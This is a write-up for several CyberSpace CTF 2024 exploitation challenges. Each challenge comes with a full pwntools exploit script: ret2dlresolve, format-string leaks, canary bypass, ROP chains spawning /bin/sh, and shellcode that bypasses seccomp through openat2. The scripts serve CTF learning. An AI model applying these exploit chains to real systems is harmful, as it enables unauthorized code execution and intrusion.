# (writeup) cyberspace CTF 2024
## ez-rop
- this is ret2dlresolve challenge
- for ref, have a look at my blog 👉 [link](https://hackmd.io/@trhoanglan04/bof_advanced_level#RET2DL_RESOLVE)
- first we have to pivot prepare for next input
- then chain the payload properly to perform dlresolve
- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./chall",checksec=False)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote("ez-rop.challs.csc.tf",1337)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
b*0x4011ad
b*0x4011b7
c
''')
input()
pop_rsi = 0x0000000000401165
mov_rdi_rsi = 0x000000000040115a
pop_rbp = 0x000000000040115e #: nop ; pop rbp ; ret
rw_section = 0x404a00
leave_ret = 0x0000000000401190
mov_dl_ptr_rbp_0x48_mov_ebp_esp_mov_rdi_rsi = 0x0000000000401155
def pop_rdi(addr):
return p64(pop_rsi) + p64(addr) + p64(mov_rdi_rsi)
GDB()
setup = 0x40119a
payload = b"a"*0x60
payload += p64(rw_section)
payload += p64(setup)
sl(payload)
payload = p64(pop_rbp) + p64(rw_section+0x10-0x48)
payload += p64(mov_dl_ptr_rbp_0x48_mov_ebp_esp_mov_rdi_rsi)
payload += pop_rdi(0) + p64(pop_rsi) + p64(rw_section) + p64(exe.plt.read)
payload += p64(pop_rbp) + p64(rw_section) + p64(leave_ret)
payload = payload.ljust(0x60,b'A')
payload += p64(rw_section-0x60-8) + p64(leave_ret) + p8(0xff)
sl(payload)
JMPREL = 0x4005f0
SYMTAB = 0x4003d0
STRTAB = 0x4004c0
link_map = 0x0000000000401020
SYMTAB_addr = 0x404a50
JMPREL_addr = 0x404a78
STRTAB_addr = 0x404a88
symbol_number = int((SYMTAB_addr - SYMTAB)/24)
reloc_arg = int((JMPREL_addr - JMPREL)/24)
st_name = STRTAB_addr - STRTAB
log.info("symbol_number: " + hex(symbol_number))
log.info("reloc_arg: " + hex(reloc_arg))
log.info("st_name: " + hex(st_name))
st_info = 0x12
st_other = 0
st_shndx = 0
st_value = 0
st_size = 0
SYMTAB_struct = p32(st_name) #0x404a40
SYMTAB_struct += p8(st_info)
SYMTAB_struct += p8(st_other)
SYMTAB_struct += p16(st_shndx)
SYMTAB_struct += p64(st_value) #0x404a48
SYMTAB_struct += p64(st_size) #0x404a50
r_offset = exe.got['read']
r_info = (symbol_number << 32) | 7
r_addend = 0
JMPREL_struct = p64(r_offset) #0x404a78
JMPREL_struct += p64(r_info) #0x404a80
payload = flat(
b'A'*8, #a00 #padding
pop_rsi+1, #a08 #ret #avoid xmm regs
pop_rdi(0x404a90), #a10 a18 a20 #string /bin/sh
pop_rsi, #a28
0, #a30
link_map, #a38 #link_map
reloc_arg, #a40 #reloc_arg
0, #a48
SYMTAB_struct, #a50 #a58 #a60
0, 0, #a68 #a70
JMPREL_struct, #a78 #a80
b'system\0\0', #a88
b'/bin/sh\0', #a90
)
sl(payload)
p.interactive()
#CSCTF{ez_rop_bc6680c1a0d13d778d73c59185b1e412}
```
>CSCTF{ez_rop_bc6680c1a0d13d778d73c59185b1e412}
## ticket-bot
- confused by seed from srand? (/dev/urandom)
- real bug from the second rand, whereas we can simulate the random by implement 10000000 times
- compiled and run, we have the "output.txt"
```c
#include <stdio.h>
#include <stdlib.h>
int main()
{
FILE *file;
file = fopen("output.txt", "w"); // Mở file trong chế độ ghi (write)
if (file == NULL)
{
printf("Không thể mở file!\n");
return 1;
}
for (int i = 0; i < 0x989680; i++)
{
srand(i);
unsigned int rand1 = rand();
unsigned int rand2 = rand();
// Ghi cả hai giá trị vào cùng một dòng
fprintf(file, "%u %u %u\n", i, rand1, rand2);
}
fclose(file); // Đóng file sau khi ghi
return 0;
}
```
- for testing, take the number challenge given to us (in this case is rand2), find that number (ctrl+F) then take the other number (rand1)
- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chal_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*AdminMenu+135
b*AdminMenu+188
c
''')
input()
if args.REMOTE:
p = remote('ticket-bot.challs.csc.tf',1337)
else:
p = process(exe.path)
GDB()
p.recvuntil(b'ticketID ')
first = p.recvline()
info("check: " + str(first))
sl(b'2')
p.recvuntil(b'Password\n')
second = input()
p.sendline(second)
sl(b'1')
payload = b'%9$p'
sl(payload)
p.recvuntil(b'to\n')
exe_leak = int(p.recvuntil(b'=',drop=True), 16)
info("exe leak: " + hex(exe_leak))
exe.address = exe_leak - exe.sym.ServiceLogin - 71
info("exe base: " + hex(exe.address))
pop_rdi = 0x0000000000001653 + exe.address
sl(b'2')
sl(b'0')
sl(b'1')
payload = b'a'*8*2
payload += p64(pop_rdi) + p64(exe.got.puts) + p64(exe.plt.puts) + p64(exe.sym.AdminMenu)
sla(b'new Password\n',payload)
p.recvuntil(b'to\n')
p.recvuntil(b'aaaa')
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')
payload = b'a'*8*2
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(pop_rdi+1) + p64(libc.sym.system)
sla(b'new Password\n',payload)
p.interactive()
#CSCTF{r4nd_funk7i0n_i5_n0t_s0_r4nd0m3_a5_y0u_th0ugh7}
```
## ticket-bot-v2
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chal_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*ViewTicket+123
b*adminpass+58
c
''')
input()
if args.REMOTE:
p = remote('ticket-bot-v2.challs.csc.tf',1337)
else:
p = process(exe.path)
GDB()
sla(b'here:\n',b'a')
sl(b'1')
sla(b'here:\n',b'a')
sl(b'1')
sla(b'here:\n',b'a')
sl(b'1')
sla(b'here:\n',b'a')
sl(b'1')
sla(b'here:\n',b'a')
sl(b'1')
sla(b'here:\n',b'a')
sl(b'2')
sla(b'ticketID\n',b'5')
p.recvuntil(b'a\0\0\0')
password = u64(p.recv(8))
info("password: " + str(password))
sl(b'3')
sl(str(password))
sl(b'1')
sla(b'new Password\n',b'%9$p')
p.recvuntil(b'to\n')
exe_leak = int(p.recvuntil(b'=',drop=True), 16)
info("exe leak: " + hex(exe_leak))
exe.address = exe_leak - exe.sym.AdminMenu - 129
info("exe base: " + hex(exe.address))
sl(b'3')
sl(str(password))
sl(b'1')
sla(b'new Password\n',b'%7$p')
p.recvuntil(b'to\n')
canary = int(p.recvuntil(b'=',drop=True),16)
info("canary leak: " + hex(canary))
sl(b'3')
sl(str(password))
sl(b'1')
pop_rdi = 0x00000000000018d3 + exe.address
payload = b'a'*8 + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(exe.got.puts) + p64(exe.plt.puts) + p64(exe.sym.adminpass)
sla(b'new Password\n',payload)
p.recvuntil(b'to\n')
p.recvuntil(b'aaaa')
libc_leak = u64(p.recv(6) + b'\x00\x00')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
payload = b'a'*8 + p64(canary) + b'a'*8
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(pop_rdi+1) + p64(libc.sym.system)
sla(b'new Password\n',payload)
p.interactive()
#CSCTF{4rr4ys_4nd_th3re_1nd3x3s_h4ndl3_w1th_c4r3}
```
## silent-rop-v2
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chal_patched', checksec=False)
libc = ELF("./libc-2.31.so", checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
set solib-search-path /home/hlaan/ctf/cyberspace/silent_rop_v2/silent-rop-v2/
b*vuln+34
b*vuln+42
c
''')
input()
if args.REMOTE:
p = remote('silent-rop-v2.challs.csc.tf',1337)
else:
p = process(exe.path)
GDB()
pop_rdi = 0x0000000000401293
pop_rbp = 0x000000000040115d
pop_rdx = 0x00000000004011e2
rw_section = 0x404a00
leave_ret = 0x00000000004011d8
mov_rdi_rdx = 0x0000000004011E9
mov_rdx_rdi = 0x00000000004011F2
add_rdi_rdx = 0x00000000004011f6
mov_ptr_rdi_rdx = 0x00000000004011e5
og = [0xe3afe,0xe3b01,0xe3b04]
off_to_og = og[1] - libc.sym.read
info("offset: " + hex(libc.sym.read))
payload = b'a'*16 + b'a'*8
payload += p64(pop_rdx) + p64(exe.got.read) + p64(mov_rdi_rdx) #rdi = read@got
payload += p64(pop_rdx) + p64(off_to_og,sign=True)
payload += p64(add_rdi_rdx) + p64(mov_rdx_rdi) #rdx = system
payload += p64(pop_rdi) + p64(rw_section)
payload += p64(mov_ptr_rdi_rdx) + p64(pop_rdx) + p64(0)
payload += p64(pop_rbp) + p64(rw_section-8) + p64(leave_ret)
s(payload)
p.interactive()
#CSCTF{Full_R3lR0_c4Nt_st0p_uS_Fr0m_DL_r3S0lv1nG_h9348fj3984fj439fij34i34jf93fj034ff}
```
## shelltester-v2
- debug.dbg
```dbg
file chall
set architecture arm
target remote :1234
b*vuln+52
b*vuln+96
c
```
- script:
```py
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('./chall',checksec=False)
# libc = ELF('./libc.so.6',checksec=False)
context.arch = 'arm'
context.log_level = "debug"
# p = process(exe.path)
# p = process(['./qemu-arm-static', '-g' ,'1234' ,'./chall'])
# raw_input('Debug')
p = remote("shelltesterv2.challs.csc.tf",1337)
p.sendlineafter(b'something: ',b'%43$p')
pop_r0_r4_pc = 0x00027194
binsh = next(exe.search(b'/bin/sh\0'))
p.recvline()
canary = int(p.recvuntil(b'\n',drop=True),16)
payload = b'a'*100 + p32(canary) + b'a'*4
payload += p32(pop_r0_r4_pc) + p32(binsh) + p32(0) + p32(exe.sym.gift)
p.sendlineafter(b'leave?',payload)
p.interactive()
#CSCTF{4rm_pwn_1s_c00l_r1ght?}
```
## menu
- call openat2 to bypass seccomp
- need to call mprotect first to perform shellcode then call openat2
- syscal table: https://syscalls.mebeim.net/?table=x86/64/x64/v6.8
- remain shellcode asked chatgpt to write asm
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./chal_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*menu+65
b*menu+102
c
''')
input()
if args.REMOTE:
p = remote('menu.challs.csc.tf',1337)
else:
p = process(exe.path)
GDB()
p.recvuntil(b'gift: \n')
p.recvuntil(b'\x1B[0;34m')
exe_leak = int(p.recvuntil(b'\n', drop=True), 16)
exe.address = exe_leak - exe.sym.greeting
info("exe leak: " + hex(exe_leak))
info("exe base: " + hex(exe.address))
call_rax = 0x0000000000001014 + exe.address
pop_rbp = 0x00000000000011f3 + exe.address
leave_ret = 0x0000000000001530 + exe.address
payload = b'a'*208 + p64(exe.address + 0x4a00)
payload += p64(pop_rbp+1) + p64(exe.sym.printf) + p64(exe.sym.puts) + p64(exe.sym.menu)
# payload += p64(leave_ret) + p64(exe.sym.read)
sa(b'today?\n', payload)
p.recvlines(2)
libc_leak = u64(p.recvline()[:-1].ljust(8, b'\x00'))
libc.address = libc_leak - 0x62050
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rax = libc.address + 0x0000000000045eb0
pop_rdx_r12 = libc.address + 0x000000000011f2e7
syscall_ret = libc.address + 0x0000000000091316
add_r10_rdx_mov_ptr_r9_r10 = libc.address + 0x0000000000142d29
payload = b'a'*216
payload += p64(pop_rax) + p64(0xa)
payload += p64(pop_rdi) + p64(exe.address + 0x4000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx_r12) + p64(7) + p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(exe.address + 0x4a00)
payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)
payload += p64(exe.sym.read)
payload += p64(pop_rax) + p64(exe.address + 0x4a00)
payload += p64(call_rax)
shellcode = asm('''
sub rsp, 0x500
mov rax, 437
mov rdi, 4294967196
push 1734437990
mov rsi, rsp
push 0x10
push 0
push 0
mov rdx, rsp
mov r10, 24
syscall
mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 0x100
syscall
mov rdi, 1
mov rax, 1
syscall
''',arch='amd64')
sa(b'today?\n', payload)
input()
s(shellcode)
p.interactive()
#CSCTF{th3_s3cr3t_0rd3r_348678943723879fdhg73389}
```